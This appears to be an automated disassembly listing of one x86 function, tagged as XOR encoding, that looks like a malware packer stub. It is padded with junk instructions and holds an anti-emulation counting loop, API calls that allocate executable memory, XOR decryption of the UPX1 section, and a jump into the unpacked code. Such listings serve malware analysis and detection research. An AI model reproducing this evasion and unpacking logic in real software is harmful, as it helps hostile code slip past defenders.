Function at 0x47afb8
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xfffcdc0c
add edx, edx
not edx
popal
add edx, 1
sub edx, 0x46b86628
inc ecx
mov esi, 0
mov ecx, ebx
mov eax, edx
add eax, eax
or eax, eax
mov edi, ecx
add edx, edx
and edx, edx
dec edx
mov ebx, edi
add edx, 0x78f1e946
mov edx, 0xcc0e0fbc
mov eax, 0xe4faf422
inc esi
and edx, eax
and edx, eax
cmp esi, 0x10046b2
jne 0x47afd5
or eax, eax
dec eax
add eax, eax
cmp esi, 0x10046b2
je 0x47b01b
mov eax, 0
mov dword [eax], ecx
add edx, eax
inc edx
inc ecx
mov ecx, 0x401613e7
sub ecx, edx
mov edi, 0x47ada2
mov ebx, 0x1d3295c8
or edx, eax
mov esi, 0x47af96
sub eax, ebx
add ebx, 0x3319f157
sub edx, 0x4f4529f8
mov ecx, dword [edi]
mov eax, edx
mov edx, eax
and ecx, 0xff
sub eax, ebx
mov ebx, 0x8e2a1bac
xor dword [esi], ecx
dec edx
inc eax
sub eax, 0x8b016ee8
add esi, 1
sub ebx, eax
mov eax, ebx
sub eax, 0x586e41c3
inc edi
add edx, 0x8b9c3b07
mov eax, edx
sub ebx, 0xb6e68a6b
cmp esi, entry0
jl 0x47b045
sub eax, 0xf51b91af
mov eax, edx
dec ebx
and edx, eax
inc eax
sub edi, 0x24d670a7
sub edi, 0x78cac5a0
mov edi, 0x68374ee4
mov edx, 0x47af9a
not edi
or ecx, esi
mov edi, ebx
mov edx, dword [edx]
add edi, 0xf79188e8
or esi, ebx
sub ebx, 1
mov edx, dword [edx]
add edi, 0x981cf0f1
add ebx, 0x632d27b5
push edx
mov esi, 0x82b06dd9
add edi, ecx
mov edx, 0x47af96
not ecx
and ebx, edi
mov edx, dword [edx]
add edi, 0x953b5fd2
sub edi, ecx
sub ecx, 0x842be8a5
mov edx, dword [edx]
sub ecx, 1
not ebx
push 0x47af9e
dec esi
sub edi, ebx
call edx
or ecx, ebx
add edi, ebx
add ebx, 0xf419c70d
pop edx
add esi, 0x51da771d
mov esi, ebx
add edi, 1
sub esp, 4
mov dword [esp], 0x47afab
inc ebx
add edi, 0x868b05b8
push eax
dec ecx
dec esi
mov esi, ebx
call edx
or ebx, esi
mov edi, 0x81306dcd
push 0x40
sub ecx, edi
mov ecx, ebx
push 0x3000
and edi, ecx
mov esi, ecx
push 0x2000094a
mov ecx, 0xa0c04d35
add ebx, 0xd9ca923d
mov ebx, ecx
push 0
mov esi, ecx
mov edi, 0x75a1110c
call eax
or ebx, edi
mov ecx, ebx
mov ecx, edi
add eax, 0x200008bc
not ecx
not esi
not esi
mov edx, 0x6c3e7b25
inc edi
inc edi
mov dword [eax], edx
mov edi, 0x2e5d9c16
or ebx, esi
mov edx, dword [eax]
mov edi, 0x34373d7e
or esi, ebx
cmp edx, 0x6c3e7b25
je 0x47b1ac
mov ecx, 0
mov dword [ecx], eax
sub esi, edi
mov ecx, esi
sub esi, 0xdbad6bd3
add edi, 0x22bd1758
sub esi, 1
sub edi, esi
or ecx, ecx
mov ecx, edx
mov ebx, section.UPX1
add ecx, 0x7bc7c541
and edx, edx
mov eax, 0x47ada1
mov edx, ecx
add edx, edx
and ecx, ecx
mov esi, 0
add ecx, 0x8c95b929
not ecx
inc edx
mov edi, 0x47ada2
or ecx, edx
mov ecx, edx
lea edi, [esi + edi]
mov edx, 0xf031d514
add edx, 0x7f1e0086
mov edi, dword [edi]
mov ecx, edx
mov ecx, 0xab6a1414
not edx
and edi, 0xff
sub ecx, edx
mov edx, ecx
or ecx, edx
inc esi
sub ecx, edx
not ecx
add edx, ecx
cmp esi, 0x1f4
jne 0x47b230
mov esi, 0
sub edx, ecx
sub ecx, 0xf530e092
not edx
mov edx, ecx
or edx, edx
xor dword [ebx], edi
sub ecx, 1
mov ecx, 0xf91c0d5
inc ecx
add ebx, 2
sub ecx, 0xf729bb94
sub ecx, edx
cmp ebx, eax
jl 0x47b1ee
sub ecx, edx
add edx, 0x667d2399
add ecx, 0xeadc9d97
and ecx, ecx
not edx
inc ecx
mov edx, section.UPX1
dec eax
sub edi, eax
sub edi, eax
mov esi, section.UPX1
mov edi, 0xf9d2f021
dec eax
add edi, eax
mov ecx, 0x47ada1
sub eax, edi
sub eax, 0x79c46c5
mov ebx, 0
add eax, 0xb03c8518
mov eax, edi
or edi, edi
mov bl, byte [esi]
not edi
not eax
mov byte [edx], bl
mov eax, 0xbd447ef5
sub edi, 1
and eax, edi
add edx, 1
sub edi, 0x9db229a0
add eax, eax
add esi, 2
or eax, eax
add eax, 0x581151ab
not edi
cmp esi, ecx
jle 0x47b2a8
mov eax, 0xb493a3af
and eax, eax
sub ecx, 1
or ecx, edx
push 0x45e6a0
add ecx, ecx
sub ecx, edx
ret